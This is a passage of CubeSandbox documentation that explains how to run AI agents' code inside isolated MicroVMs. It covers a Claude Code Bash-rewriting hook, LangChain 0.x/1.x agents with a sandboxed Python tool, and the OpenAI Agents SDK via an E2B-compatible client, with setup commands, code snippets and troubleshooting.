PreToolUse hook ──► cubesandbox_exec ──► CubeAPI ──► MicroVM (cubesandbox_rewrite.py) (:3000) └─ reusable per session ``` Only the `Bash` tool is redirected. `Read`, `Write`, and `Edit` keep operating on host files, so Claude Code edits your project locally while its shell commands run in a throwaway kernel/filesystem/network. ## Integration Target and Version | Component | Version | |---|---| | Claude Code | Any release with `PreToolUse` hook support | | cubesandbox Python SDK | Installed via `requirements.txt` | | Python | 3.9+ on the host running Claude Code | ## Prerequisites * Running [CubeSandbox deployment](/guide/quickstart) with CubeAPI reachable (e.g. `http://127.0.0.1:3000`) * Python 3.9+ on the host running Claude Code * A CubeSandbox template to launch sandboxes from (see [Template](#template) below) ## Template The hook runs arbitrary Bash commands in the sandbox, so the template only needs to be a general-purpose code sandbox — **Claude Code itself does not need to be installed inside it**. The stock `sandbox-code` image works: ```bash cubemastercli tpl create-from-image \ --image cube-sandbox-cn.tencentcloudcr.com/cube-sandbox/sandbox-code:latest \ --writable-layer-size 2G \ --expose-port 49999 \ --expose-port 49983 \ --probe 49999 ``` Use the resulting template ID (`STATUS: READY` in `cubemastercli tpl list`) as `CUBE_TEMPLATE_ID` below. ## Install the hook From the example directory: ```bash python3 -m pip install -r requirements.txt cp .env.example .env # Set CUBE_API_URL and CUBE_TEMPLATE_ID in .env cd hooks ./install.sh ``` Restart Claude Code after installation. The installer merges a `Bash` matcher into `~/.claude/settings.json` **without** replacing your other settings, and writes only whitelisted `CUBE_*` values to the hook configuration — it never copies LLM provider API keys. Now use Claude Code normally: every Bash command it issues executes inside a MicroVM. ## How it works 1. **`cubesandbox_rewrite.py`** (the hook) receives the `PreToolUse` payload. For a `Bash` call it rewrites `tool_input.command` to an invocation of the executor with the original command as a single `shlex`-quoted argument, and returns it via `updatedInput`. Nothing in the original command can execute on the host. Non-`Bash` tools pass through. Every Bash command is wrapped unconditionally; if an already-wrapped executor invocation is fed back through the hook, the nested invocation simply fails inside the sandbox (the host hook path does not exist there), never on the host. 2. **`cubesandbox_exec.py`** (the executor) reuses one sandbox per Claude Code `session_id` (mapping stored under `~/.cache/cubesandbox-hook/`, guarded by a per-session file lock), replays the persisted working directory and exported environment, runs the command in the MicroVM, and returns stdout/stderr and the exit code after the command finishes (buffered, not streamed). ## Host project mount On the first call in a session, the hook can request a **read-only** mount of Claude Code's project directory at the same path in the sandbox. Add the project root to CubeMaster's host-mount allowlist: ```yaml extra_conf: allowed_host_mount_prefixes: - "/data/shared/" - "/home/you/projects/" ``` `hostPath` is resolved on the scheduled Cubelet node, not on the machine running Claude Code. The shared view works only when Claude Code is co-located with that Cubelet, or the project already lives at the identical absolute path on every eligible Cubelet. The hook does not upload or synchronize a local project to a remote deployment; do not allowlist a client-only path that could refer to unrelated Cubelet data. This hook covers the `Bash` tool only. `Read`, `Write`, and `Edit` still access the host, and the mount is read-only so sandbox commands cannot write project files or build artifacts. If CubeMaster rejects the mount, execution falls back to a sandbox without it; Bash stays isolated but loses filesystem consistency with the host-side tools. ## Security properties * **Fail-closed** — if the hook cannot rewrite a call safely, it exits non-zero and blocks the command rather than letting it run on the host. * **Injection-safe** — the original command is passed as one `shlex`-quoted argument, so shell metacharacters and newlines can never break out onto the host. * **Unconditional wrapping** — every Bash call is rewritten; an already-wrapped executor invocation fed back through the hook simply fails inside the sandbox (the host hook path does not exist there), never on the host. * **Auto-approval** — the hook answers `permissionDecision: "allow"` for rewritten Bash calls, so Claude Code's per-command approval prompt is suppressed; use `--permission-mode` / hooks policy accordingly. * **No credential leakage** — the installer copies only whitelisted `CUBE_*` values into the hook config. ## Reset and uninstall ```bash # Drop the sandbox bound to a session (fresh sandbox next call) python3 ~/.claude/hooks/cubesandbox_exec.py --reset --session # Remove the hook from ~/.claude/settings.json cd hooks ./install.sh --uninstall ``` ## Key Code Snippets ### Hook matcher in `~/.claude/settings.json` The installer merges a `Bash` matcher group like this into your settings (with your absolute home path): ```json { "hooks": { "PreToolUse": [ { "matcher": "Bash", "hooks": [ { "type": "command", "command": "/home/you/.claude/hooks/cubesandbox_rewrite.py || exit 2" } ] } ] } } ``` ### Manual hook test ```bash echo '{"tool_name":"Bash","cwd":"/tmp","session_id":"t","tool_input":{"command":"whoami"}}' \ | python3 ~/.claude/hooks/cubesandbox_rewrite.py ``` ## Caveats * **Read/Write/Edit stay on the host.** Only `Bash` tool calls are redirected; Claude Code's file edits keep hitting your host project files. * **Serialized Bash within a session.** Concurrent Bash calls in one session are serialized through a per-session lock — they run one at a time, not in parallel. * **Buffered output.** stdout/stderr are returned only after the command finishes; long-running commands show no incremental output. * **Auto-approval.** The hook answers `permissionDecision: "allow"` for rewritten Bash calls, so Claude Code's per-command approval prompt is suppressed — set `--permission-mode` / hooks policy accordingly. * **Persisted environment is scrubbed.** Exported variables persist between commands, but `BASH_ENV`, `ENV`, `LD_PRELOAD`, and `PROMPT_COMMAND` are scrubbed from the persisted environment. ## Troubleshooting ### Bash commands still run on the host The hook is not registered, or Claude Code was not restarted. Verify `~/.claude/settings.json` has a `PreToolUse` `Bash` matcher pointing at `~/.claude/hooks/cubesandbox_rewrite.py`, then restart Claude Code. You can test the hook directly: ```bash echo '{"tool_name":"Bash","cwd":"/tmp","session_id":"t","tool_input":{"command":"whoami"}}' \ | python3 ~/.claude/hooks/cubesandbox_rewrite.py ``` ### `the cubesandbox SDK is required` Install dependencies into the Python environment Claude Code uses: `pip install -r requirements.txt`. ### `CUBE_TEMPLATE_ID is not set` / `Template not found` Set `CUBE_TEMPLATE_ID` in `.env` to a `READY` template (`cubemastercli tpl list`), then re-run `hooks/install.sh`. ### Host mount rejected The path is not in `allowed_host_mount_prefixes`, or does not exist on the scheduled Cubelet. Add the prefix to CubeMaster `extra_conf`, ensure co-location, or accept the no-mount fallback. ## Example Repository See the full runnable example at [`examples/claude-code-integration/`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/claude-code-integration), which includes: * `hooks/cubesandbox_rewrite.py` — the `PreToolUse` hook that rewrites Bash calls * `hooks/cubesandbox_exec.py` — the executor: per-session MicroVM reuse and shell-state persistence * `hooks/install.sh` — idempotent install / uninstall * `tests/` — tests for the hook rewrite, executor, and install lifecycle ## References * Claude Code hooks documentation: * Runnable example: [`examples/claude-code-integration/`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/claude-code-integration) * Project quickstart: [Quickstart](/guide/quickstart) --- --- url: https://cubesandbox.com/guide/integrations/langchain.md --- # LangChain Integration Guide Run a LangChain agent that calls a Python tool inside a [CubeSandbox](https://github.com/TencentCloud/CubeSandbox) MicroVM. Because Cube exposes an **E2B-compatible API**, migrating a LangChain app from E2B to Cube usually means changing a few environment variables, while giving every line of agent-generated code KVM-level isolation. This guide ships a runnable [`examples/langchain-integration`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/langchain-integration) sample project. ## Two major LangChain versions (0.x and 1.x) This guide provides **two variants** that differ only in the LangChain Agent API and the required Python version. Both share the same `run_python` tool (built on the official `cubesandbox` SDK) and the same sandbox template. | Variant | LangChain | langchain-openai | Python | Agent API | Example path | |---|---|---|---|---|---| | **0.x** (legacy) | `0.3.x` | `0.3.x` | 3.9+ | `AgentExecutor` + `create_react_agent` | `examples/langchain-integration/0.x` | | **1.x** (modern) | `1.x` | `1.x` | 3.10+ | `langchain.agents.create_agent` + `@tool` | `examples/langchain-integration/1.x` | If you are on Python 3.9, or already have LangChain 0.3.x code → use **0.x**. If you are on Python 3.10+ and starting fresh (or already on LangChain 1.x) → use **1.x**. ### Components and versions | Component | 0.x | 1.x | |---|---|---| | LangChain | `langchain==0.3.23` | `langchain>=1.3.14,<2.0` | | langchain-openai | `langchain-openai==0.3.12` | `langchain-openai>=1.0,<2.0` | | LangGraph (create\_agent runtime) | — (not used; `AgentExecutor` + `create_react_agent` have no LangGraph dep) | `langgraph>=0.2` (declared in `1.x/requirements.txt` so the sample is self-contained) | | cubesandbox SDK (main driver) | `cubesandbox>=0.6.0` | `cubesandbox>=0.6.0` | | CubeSandbox base image | `ghcr.io/tencentcloud/cubesandbox-base:2026.16` | same | | CubeSandbox platform | `>= 0.3.0` (core); higher for optional features below | `>= 0.3.0` (core); higher for optional features below | Per-feature platform minimums (the SDK floor above covers the base workflow; raise `cubesandbox`/platform only when you use the feature): | Feature | Minimum platform | Minimum SDK | |---|---|---| | Base workflow (`commands.run` / `files.write` over the envd process API on 49983, context-manager teardown) | `>= 0.3.0` | `>= 0.6.0` | | CubeEgress secret injection (advanced usage, default-deny egress) | `>= 0.4.0` | `>= 0.3.0` | | Volume mounts (`volume_mounts=`, `Volume` API) | `>= 0.6.0` | `>= 0.6.0` | ## Prerequisites * CubeSandbox is deployed and CubeAPI is reachable at `http://:3000`. * `cubemastercli` is on your `$PATH` and connected to the cluster. * The build machine has Docker and the registry is pullable by Cube nodes. * Python 3.10+ (for the 1.x variant). The 0.x variant also runs on Python 3.9+. * Reachability to the Cube cluster node. The `cubesandbox` SDK reaches CubeAPI via `CUBE_API_URL` and the data plane via `CUBE_PROXY_NODE_IP` (so `*.cube.app` resolves without DNS); if the proxy does not listen on port 80, set `CUBE_PROXY_PORT_HTTP`. * An OpenAI-compatible LLM endpoint (the sample uses TokenHub; any OpenAI-compatible endpoint works via `OPENAI_BASE_URL` / `OPENAI_API_KEY`). ## Why run the LangChain agent in a sandbox LangChain agents often expose a code-execution tool (data analysis, file conversion, shell calls). Running that tool on the host mixes the agent's blast radius with your dev machine. Inside CubeSandbox you get: | Concern | What CubeSandbox provides | |---|---| | **Isolation** | One KVM MicroVM per session, with its own guest kernel — agent code cannot touch the host | | **Reproducibility** | Every session boots from the same template snapshot | | **Fast startup** | Cold start under 60ms, so running many agents in parallel is cheap | | **Long tasks** | `sandbox.pause()` snapshots the VM + root filesystem for later resume | | **Secret hygiene** | CubeEgress can inject LLM auth headers at the network layer — the real secret is never visible inside the VM | | **Egress audit** | Every outbound request is logged to the egress audit log | ## Integration steps ### 1. Build the template image Layer a Python data-science stack on top of `cubesandbox-base` (envd listens on `:49983`). ```dockerfile # examples/langchain-integration/Dockerfile ARG CUBE_BASE_IMAGE=ghcr.io/tencentcloud/cubesandbox-base:2026.16 FROM ${CUBE_BASE_IMAGE} ARG DEBIAN_FRONTEND=noninteractive RUN apt-get update \ && apt-get install -y --no-install-recommends \ python3 python3-pip ca-certificates git \ && rm -rf /var/lib/apt/lists/* # Pin versions for reproducible builds; upgrade as needed RUN python3 -m pip install --no-cache-dir --upgrade pip \ && python3 -m pip install --no-cache-dir --break-system-packages \ pandas==2.2.3 numpy==1.26.4 matplotlib==3.9.3 scikit-learn==1.6.1 WORKDIR /workspace # Seed a demo dataset so the sample agent runs without external input COPY sales.csv /workspace/sales.csv EXPOSE 49983 ``` Build and push: ```bash docker build --platform linux/amd64 \ -t /langchain-cube:latest \ examples/langchain-integration docker push /langchain-cube:latest ``` ### 2. Register as a Cube template ```bash cubemastercli tpl create-from-image \ --image /langchain-cube:latest \ --writable-layer-size 2G \ --expose-port 49983 \ --probe 49983 \ --probe-path /health ``` `create-from-image` blocks and watches the job to completion by default; pass `--detach` if you want to submit-and-exit and poll later with `cubemastercli tpl watch --job-id `. Once the job reaches `READY`, note the `template_id` — you must pass it to every `Sandbox.create()`. The `2G` writable layer suits medium analysis tasks; raise it to `4G+` if the agent installs large packages at runtime. ### 3. Install dependencies and configure env vars ```bash cd examples/langchain-integration/1.x # or 0.x, depending on your LangChain version cp ../.env.example .env # Fill in CUBE_API_URL, CUBE_API_KEY, CUBE_TEMPLATE_ID, CUBE_PROXY_NODE_IP, and your LLM key pip install -r requirements.txt ``` | Variable | Flows to | Notes | |---|---|---| | `CUBE_API_URL` | `cubesandbox` SDK | CubeAPI address (`http://:3000`) | | `CUBE_API_KEY` | `cubesandbox` SDK | (optional) `X-API-Key` header; only set it for an auth-enabled CubeAPI backend — the SDK sends no auth header when unset | | `CUBE_TEMPLATE_ID` | `Sandbox.create(template=...)` | From step 2 | | `CUBE_PROXY_NODE_IP` | `cubesandbox` SDK | CubeProxy node IP so `*.cube.app` resolves without DNS | | `CUBE_PROXY_PORT_HTTP` | `cubesandbox` SDK | Proxy HTTP port (default `80`; set `8081` if the proxy listens on 8081) | | `OPENAI_API_KEY` / `TOKENHUB_API_KEY` | LLM client | OpenAI-compatible key | | `OPENAI_BASE_URL` | LLM client | e.g. `https://tokenhub.tencentmaas.com/v1` | | `CHAT_MODEL` | LLM client | e.g. `deepseek-v3` | | `CUBE_SSL_CERT_FILE` | demo | (optional) self-signed CA cert path for HTTPS CubeAPI. The demo exports it as `SSL_CERT_FILE` (process-global) so the gRPC client trusts it — the bundle should include public root CAs or the LLM endpoint is affected too | ### 4. Wire the code-execution tool to Cube The agent logic is identical across versions; only the tool wrapper changes from a local REPL to the Cube sandbox. The snippet below is the **shared `run_python` tool for both `0.x` and `1.x`** — built on the official **`cubesandbox` Python SDK** (`from cubesandbox import Sandbox`), using `sandbox.files.write` to upload code and `sandbox.commands.run` to execute, so **no raw HTTP** is needed. ```python # run_python tool — official cubesandbox SDK (used by the snippets below; # the shipped demos inline equivalent logic inside build_agent) import itertools from cubesandbox import Sandbox def make_run_python(sandbox: Sandbox): """Return a run_python tool bound to the given created `sandbox`.""" script_counter = itertools.count() def run_python(code: str) -> str: """Execute Python inside the Cube Sandbox MicroVM; return stdout, with stderr delimited below it when present. The image preinstalls pandas / numpy / matplotlib / scikit-learn. Each call writes the snippet to a unique /workspace/_agent_.py and runs it, so concurrent tool calls don't overwrite each other. Charts can be saved under /workspace (e.g. /workspace/revenue.png). """ script = f"/workspace/_agent_{next(script_counter)}.py" sandbox.files.write(script, code) result = sandbox.commands.run(f"python3 {script}", timeout=120, cwd="/workspace") out = result.stdout # Keep stderr delimited from stdout so library warnings (exit_code 0) # don't blur the real output seen by the LLM. if result.stderr: out += "\n--- stderr ---\n" + result.stderr if result.exit_code != 0: out += f"\n[non-zero exit code: {result.exit_code}]" return out return run_python ``` > **One sandbox for the whole run, auto-torn-down.** The entire agent loop creates a single MicroVM > (`Sandbox.create(template=...)`) and the context manager calls `sandbox.kill()` > (`DELETE /sandboxes/:sandboxID`) when the `with` block exits, so no sandbox leaks. The bundled > sample uses exactly this pattern. ### 5. Run the agent Both variants build the same `ChatOpenAI` client and reuse the shared `run_python` tool; they differ only in how the agent is constructed. Create one `Sandbox` for the whole run and bind the tool with `make_run_python(sandbox)`: #### 1.x (modern — `langchain.agents.create_agent`) ```python import os from dotenv import load_dotenv from langchain_openai import ChatOpenAI from langchain.agents import create_agent from langchain_core.tools import tool from cubesandbox import Sandbox load_dotenv() _llm_key = os.getenv("OPENAI_API_KEY") or os.getenv("TOKENHUB_API_KEY") if not _llm_key: raise SystemExit("Missing LLM API key (set OPENAI_API_KEY or TOKENHUB_API_KEY)") llm = ChatOpenAI( model=os.getenv("CHAT_MODEL") or "deepseek-v3", api_key=_llm_key, base_url=os.getenv("OPENAI_BASE_URL") or "https://tokenhub.tencentmaas.com/v1", timeout=60, max_retries=2, temperature=0, ) SANDBOX_CONTEXT = ( "You are a data analyst. You can execute Python inside a Cube Sandbox " "MicroVM via the run_python tool. Environment facts:\n" "- Working directory: /workspace\n" "- Demo dataset: /workspace/sales.csv with columns month,product,units,price\n" " (6 rows: 3 months x 2 products; revenue is defined as units * price)\n" "- Preinstalled: pandas, numpy, matplotlib, scikit-learn\n" "- Save any charts/artifacts under /workspace\n" "When the user mentions 'the dataset' without a path, use /workspace/sales.csv.\n" "Modeling conventions for this tiny demo dataset (follow them unless the " "user explicitly specifies otherwise):\n" "- Regression/forecast target: monthly TOTAL revenue. Aggregate to one row " "per month, then use a numeric month index (0, 1, 2, ...) as the only " "feature.\n" "- Never use the target itself or its direct components (units, price) as " "features when predicting revenue - that is data leakage and yields a " "meaningless RMSE of 0.\n" "- The dataset is too small for a train/test split; fit and evaluate on " "all rows and explicitly state that the metric is in-sample.\n" "- Report only numbers actually printed by the executed code; never " "invent or estimate metric values." ) with Sandbox.create(template=os.environ["CUBE_TEMPLATE_ID"], timeout=600) as sandbox: run_python = tool(make_run_python(sandbox)) agent = create_agent(llm, [run_python], system_prompt=SANDBOX_CONTEXT) result = agent.invoke({"messages": [{"role": "user", "content": "Load sales.csv from /workspace, compute total revenue per month, " "and report the month -> revenue numbers in your final answer."}]}) for msg in reversed(result["messages"]): if msg.content: print(msg.content) break else: print("(no final answer in messages)") ``` #### 0.x (legacy — `AgentExecutor` + `create_react_agent`) ```python import os from dotenv import load_dotenv from langchain_openai import ChatOpenAI from langchain.agents import AgentExecutor, create_react_agent from langchain.tools import Tool from langchain_core.prompts import PromptTemplate from cubesandbox import Sandbox load_dotenv() _llm_key = os.getenv("OPENAI_API_KEY") or os.getenv("TOKENHUB_API_KEY") if not _llm_key: raise SystemExit("Missing LLM API key (set OPENAI_API_KEY or TOKENHUB_API_KEY)") llm = ChatOpenAI( # same params as above model=os.getenv("CHAT_MODEL") or "deepseek-v3", api_key=_llm_key, base_url=os.getenv("OPENAI_BASE_URL") or "https://tokenhub.tencentmaas.com/v1", timeout=60, max_retries=2, temperature=0, ) with Sandbox.create(template=os.environ["CUBE_TEMPLATE_ID"], timeout=600) as sandbox: run_python = make_run_python(sandbox) tools = [Tool(name="run_python", func=run_python, description="Execute Python code in a Cube Sandbox MicroVM.")] agent = create_react_agent(llm, tools, PromptTemplate.from_template( "You are a data analyst. Answer the question using tools.\n\n" "Environment facts:\n" "- Demo dataset: /workspace/sales.csv with columns month,product,units,price\n" " (6 rows: 3 months x 2 products; revenue is defined as units * price)\n" "- Preinstalled: pandas, numpy, matplotlib, scikit-learn\n" "- Save any charts/artifacts under /workspace\n" "When the user mentions 'the dataset' without a path, use /workspace/sales.csv.\n" "Modeling conventions (unless the user specifies otherwise):\n" "- Regression target: monthly TOTAL revenue; aggregate per month and use " "a numeric month index (0, 1, 2, ...) as the only feature.\n" "- Never use the target or its components (units, price) as features - " "that is data leakage and yields a meaningless RMSE of 0.\n" "- Too small for a train/test split; evaluate in-sample and say so.\n" "- Report only numbers actually printed by the executed code.\n\n" "Tools: {tools}\n\n" "Use the following format:\n\n" "Question: the input question you must answer\n" "Thought: you should always think about what to do\n" "Action: the action to take, should be one of [{tool_names}]\n" "Action Input: the input to the action\n" "Observation: the result of the action\n" "... (this Thought/Action/Action Input/Observation can repeat N times)\n" "Thought: I now know the final answer\n" "Final Answer: the final answer to the original input question\n\n" "Begin!\n\n" "Question: {input}\n\nThought: {agent_scratchpad}")) executor = AgentExecutor(agent=agent, tools=tools, verbose=True, handle_parsing_errors=True) result = executor.invoke({"input": "Load sales.csv from /workspace, compute total revenue per month, " "and report the month -> revenue numbers in your final answer."}) print(result["output"]) ``` Run (from the chosen variant directory): ```bash python langchain_agent_demo.py # Custom question: python langchain_agent_demo.py "Train a linear model on the dataset and report the RMSE." ``` ### Expected output With the default prompt, the **agent's final answer** printed on the host includes the per-month revenue numbers (2780.0 / 3375.5 / 3872.0). (The 1.x `create_agent` is not verbose by default; the 0.x `AgentExecutor(verbose=True)` also prints the full reasoning trace to the console.) Teardown is best-effort: if `kill()` fails (e.g. the sandbox already expired), the SDK's context manager **silently swallows** the error — no warning is printed. If you need to detect teardown failures, call `sandbox.kill()` explicitly and handle `CubeSandboxError` yourself. ## Key snippets ### Migrate an E2B app to Cube If your LangChain app already drives an E2B sandbox, the code is almost identical — just swap the import for the `cubesandbox` SDK and point it at CubeAPI: ```diff - from e2b_code_interpreter import Sandbox - # E2B cloud (managed) - export E2B_API_KEY="e2b_xxx" - export E2B_API_URL="https://api.e2b.dev" # default, usually omitted + from cubesandbox import Sandbox + # Cube Sandbox (self-hosted, MicroVM isolation) + export CUBE_API_URL="http://:3000" + # export CUBE_API_KEY="" # only for auth-enabled backends + export CUBE_TEMPLATE_ID="" + export CUBE_PROXY_NODE_IP="" ``` The `Sandbox` API (`Sandbox.create`, `commands.run`, `files.write`, `kill`) keeps the same shape, so the rest of your tool code needs no changes. The sample above uses exactly this SDK. ### Local baseline (the part being replaced) ```python # Before: code runs on the host via langchain_experimental from langchain_experimental.tools import PythonREPLTool tools = [PythonREPLTool()] ``` Swap `PythonREPLTool` for the `run_python` Cube tool above to get isolation for free. ## Caveats * **envd user.** The `cubesandbox` SDK's `files.write` / `commands.run` run as `root` by default, so no extra config is needed. (The base image also provisions a non-root `uid=1000` user; if you switch the SDK to run as that user, file-permission behavior changes.) * **Cleanup safety.** `with Sandbox.create(...) as sandbox:` calls `sandbox.kill()` (`DELETE /sandboxes/:sandboxID`, **no** `/kill` subpath) on exit, so no sandbox leaks even if the agent raises. * **One sandbox for the whole run, reused across calls.** The entire agent loop creates a single MicroVM and reuses it between `run_python` calls, so you pay the lifecycle cost only once. * **State does not persist across turns.** Each `commands.run` is a fresh `python` process; variables/imports do not survive between tool calls. Inline everything the snippet needs, or write intermediate state to `/workspace` and read it back. * **The template must contain the required stack.** Preinstall pandas/numpy/matplotlib into the image; under a default-deny egress policy, a runtime `pip install` will fail. * **Timeouts.** Set both the sandbox `timeout` (platform reclaim) and the per-command `timeout`; a long agent loop can exhaust either. ## Advanced usage ### Network isolation + secret injection (native SDK) On a shared cluster, prefer the native `cubesandbox` SDK together with default-deny egress and network-layer secret injection, so the LLM secret never enters the VM: ```python import os from cubesandbox import Sandbox, Rule, Match, Action, Inject rules = [ Rule( name="allow_llm", match=Match(scheme="https", sni="api.openai.com", host="api.openai.com"), action=Action(allow=True, audit="metadata", inject=[ Inject(header="Authorization", secret=os.environ["OPENAI_API_KEY"], format="Bearer ${SECRET}"), ]), ), ] with Sandbox.create( template=os.environ["CUBE_TEMPLATE_ID"], timeout=600, allow_internet_access=False, # default-deny; hosts in rules are allowed network={"rules": rules}, ) as sandbox: run_agent(sandbox) # sandbox.kill() runs on block exit ``` ### File mounts `Sandbox.create()` has no `mounts` parameter. Use the Cube-specific APIs instead: * **Host directory mounts** go through `metadata["host-mount"]` (a JSON-encoded list of `{hostPath, mountPath, readOnly}` descriptors), so the agent reads/writes shared host data directly without round-tripping through `files.write`. Note that `hostPath` must live under an **allowed prefix** (by default `/data/shared/`; extend `allowed_host_mount_prefixes` in CubeMaster's config to use other paths): ```python import json from cubesandbox import Sandbox sandbox = Sandbox.create( template=os.environ["CUBE_TEMPLATE_ID"], metadata={ "host-mount": json.dumps([ {"hostPath": "/data/shared/datasets", "mountPath": "/workspace/datasets", "readOnly": True}, ]), }, ) ``` * **Volume mounts** use `volume_mounts={mount_path: volume_id}` (see [`examples/volume`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/volume)): ```python from cubesandbox import Sandbox, Volume vol = Volume.create("my-workspace") sandbox = Sandbox.create( template=os.environ["CUBE_TEMPLATE_ID"], volume_mounts={"/workspace": vol}, ) ``` ### Long-task pause / resume `pause()` returns `None` — the sandbox ID never changes. Call `Sandbox.connect()` on the same ID to resume: ```python sandbox = Sandbox.create(template=os.environ["CUBE_TEMPLATE_ID"], timeout=1800) try: turn_1(sandbox) sandbox.pause() sandbox = Sandbox.connect(sandbox.sandbox_id) # /workspace intact after resume turn_2(sandbox) finally: sandbox.kill() ``` ## Troubleshooting | Symptom | Possible cause | Fix | |---|---|---| | File op `permission denied` | envd user mismatch | The `cubesandbox` SDK's `files.write` / `commands.run` run as `root` by default. If using the E2B SDK, set `e2b.envd.rpc.default_username = "root"`. | | `command not found: python` | Template missing Python | Rebuild the image with `python3` | | `ModuleNotFoundError: pandas` | Stack not in image | Add pandas/numpy/matplotlib in the Dockerfile | | `403 Forbidden - CubeEgress` | Default-deny with no allow rule | Allow the LLM host (and any other needed hosts) | | CubeAPI `Connection refused` | Wrong `CUBE_API_URL` | Set `http://:3000` | | Template stuck in `PULLING` | Cluster cannot reach the registry | Push to a registry the cluster can reach | | `run_python` returns nothing | Script has no stdout | Have the agent explicitly `print()` results | ## References * Runnable samples — `0.x` (LangChain 0.3.x): [`examples/langchain-integration/0.x`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/langchain-integration/0.x) · `1.x` (LangChain 1.x): [`examples/langchain-integration/1.x`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/langchain-integration/1.x) * Custom template images: [`docs/guide/tutorials/bring-your-own-image.md`](../tutorials/bring-your-own-image.md) * Create a template from an image: [`docs/guide/tutorials/template-from-image.md`](../tutorials/template-from-image.md) * Snapshot / clone / rollback: [`docs/guide/snapshot-rollback-clone.md`](../snapshot-rollback-clone.md) * Credential safekeeping + egress control: [`docs/guide/security-proxy.md`](../security-proxy.md) * LangChain: * E2B SDK: * `langchain_e2b` (E2B official LangChain integration): --- --- url: https://cubesandbox.com/guide/integrations/openai-agents-sdk.md --- # OpenAI Agents SDK Integration Guide [中文](../../zh/guide/integrations/openai-agents-sdk.md) Use a CubeSandbox MicroVM as the sandbox execution environment for an [OpenAI Agents SDK](https://developers.openai.com/api/docs/guides/agents/sandboxes) `SandboxAgent`. CubeSandbox exposes an E2B-compatible API, so the SDK's built-in `E2BSandboxClient` can provide the sandbox execution plane without a custom provider implementation. This page is the short integration entry point. The repository already ships complete Shell Agent, SWE-bench, pause/resume, and Code Interpreter examples; the links below let you run and inspect those implementations directly. ## Integration Target and Version | Component | Baseline used by the bundled examples | | --- | --- | | OpenAI Agents SDK | Python package `openai-agents[e2b]` with Sandbox Agents support | | Python | 3.10+ | | CubeSandbox | E2B-compatible CubeAPI and a reachable CubeProxy data plane | | Sandbox modes | Generic E2B (`E2BSandboxType.E2B`) and Code Interpreter (`E2BSandboxType.CODE_INTERPRETER`) | Sandbox Agents are currently beta in the OpenAI Agents SDK. The example requirements intentionally install the current SDK release; pin the resolved versions after validating them for a production deployment. ## Prerequisites * A running [CubeSandbox deployment](/guide/quickstart) with CubeAPI reachable, normally at `http://:3000`. * `cubemastercli` connected to the cluster and a sandbox template ID. * Python 3.10+ on the machine running the Agent harness. * An API key and model name for TokenHub or another OpenAI-compatible LLM endpoint when running the full Agent demo. ::: warning Control plane and data plane `E2B_API_URL` selects the CubeAPI control-plane endpoint. The official E2B SDK also connects to per-sandbox data-plane hostnames. A one-click local deployment includes CoreDNS; production deployments should configure wildcard DNS. If you must use the official E2B SDK locally without wildcard DNS, use the [E2B development sidecar](/guide/multi-node-deploy#official-e2b-sdk-without-wildcard-dns-dev-sidecar). ::: ## Setup ### 1. Choose a CubeSandbox template `simple_demo.py` works with any Linux template that runs envd on port `49983`. You can reuse an existing template or create the SWE-bench template used by the bundled debugging demo: ```bash cubemastercli tpl create-from-image \ --image cube-sandbox-image.tencentcloudcr.com/demo/django_1776_django-13447:latest \ --writable-layer-size 1G \ --expose-port 49983 \ --cpu 4000 --memory 8192 \ --probe 49983 ``` The command starts an asynchronous build. Use the job ID from its output to monitor the build: ```bash cubemastercli tpl watch --job-id ``` Wait until the status becomes `READY`, then copy the `template_id` from the output. ### 2. Install the example dependencies ```bash cd examples/openai-agents-example python3 -m venv .venv source .venv/bin/activate pip install -r requirements.txt cp .env.example .env ``` Configure `.env`: | Variable | Purpose | | --- | --- | | `E2B_API_URL` | CubeAPI control-plane URL, for example `http://:3000` | | `E2B_API_KEY` | Required by the E2B SDK; use the `e2b_`-prefixed key accepted by your CubeAPI auth callback, or `e2b_000000` when authentication is disabled | | `CUBE_TEMPLATE_ID` | CubeSandbox template ID | | `TOKENHUB_API_KEY` | TokenHub key used by the bundled demos | | `OPENAI_API_KEY` / `OPENAI_BASE_URL` | Alternative OpenAI-compatible LLM credentials and endpoint | | `CUBE_SSL_CERT_FILE` | Optional CubeSandbox CA bundle for a self-signed deployment | Use a model name that exists at the configured LLM endpoint. The template variable is application-owned: an existing E2B application can keep its current variable name, while the bundled examples use `CUBE_TEMPLATE_ID` for clarity. ## Integration Snippet Keep the Agent definition and replace only its sandbox connection settings: ```python import asyncio import os from agents import Runner from agents.run import RunConfig from agents.sandbox import SandboxRunConfig from agents.extensions.sandbox import ( E2BSandboxClient, E2BSandboxClientOptions, E2BSandboxType, ) async def main(): run_config = RunConfig( sandbox=SandboxRunConfig( client=E2BSandboxClient(), options=E2BSandboxClientOptions( sandbox_type=E2BSandboxType.E2B, template=os.environ["CUBE_TEMPLATE_ID"], timeout=300, ), ), workflow_name="Cube shell agent", ) result = await Runner.run( agent, "What OS is running? Show uname and /etc/os-release.", run_config=run_config, ) print(result.final_output) # `agent` is your existing SandboxAgent. asyncio.run(main()) ``` The checked-in [`simple_demo.py`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/openai-agents-example/simple_demo.py) adds a complete `SandboxAgent`, model configuration, cleanup, and the current CubeSandbox envd compatibility handling around this core snippet. ### Migrating an existing E2B-backed Agent The client class does not change. Point the existing E2B configuration at Cube and provide a Cube template ID: ```diff - E2B_API_URL="https://api.e2b.dev" - E2B_API_KEY="" - SANDBOX_TEMPLATE="" + E2B_API_URL="http://:3000" + E2B_API_KEY="e2b_000000" + SANDBOX_TEMPLATE="" ``` The example uses `e2b_000000` for a deployment with CubeAPI authentication disabled. If authentication is enabled, replace it with the `e2b_`-prefixed credential accepted by your auth callback. `SANDBOX_TEMPLATE` represents whatever environment variable your application already passes to `E2BSandboxClientOptions(template=...)`; it does not need to be renamed. ## Runnable Demo First verify the sandbox path without making an LLM request: ```bash cd examples/openai-agents-example python main.py --sandbox-only --timeout 60 ``` Verify that filesystem state survives a pause/resume cycle: ```bash python simple_demo.py --pause-resume ``` Then run the Shell Agent against a real task: ```bash python simple_demo.py \ --question "What OS is running? Show uname and the first 3 lines of /etc/os-release." ``` For a larger workflow, `main.py` lets the Agent inspect a Django source tree and analyze the SWE-bench `django__django-13447` bug. See the bilingual [example README](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/openai-agents-example) for its arguments and expected flow. ## Going Further * **Longer runs:** set both the sandbox lifetime in 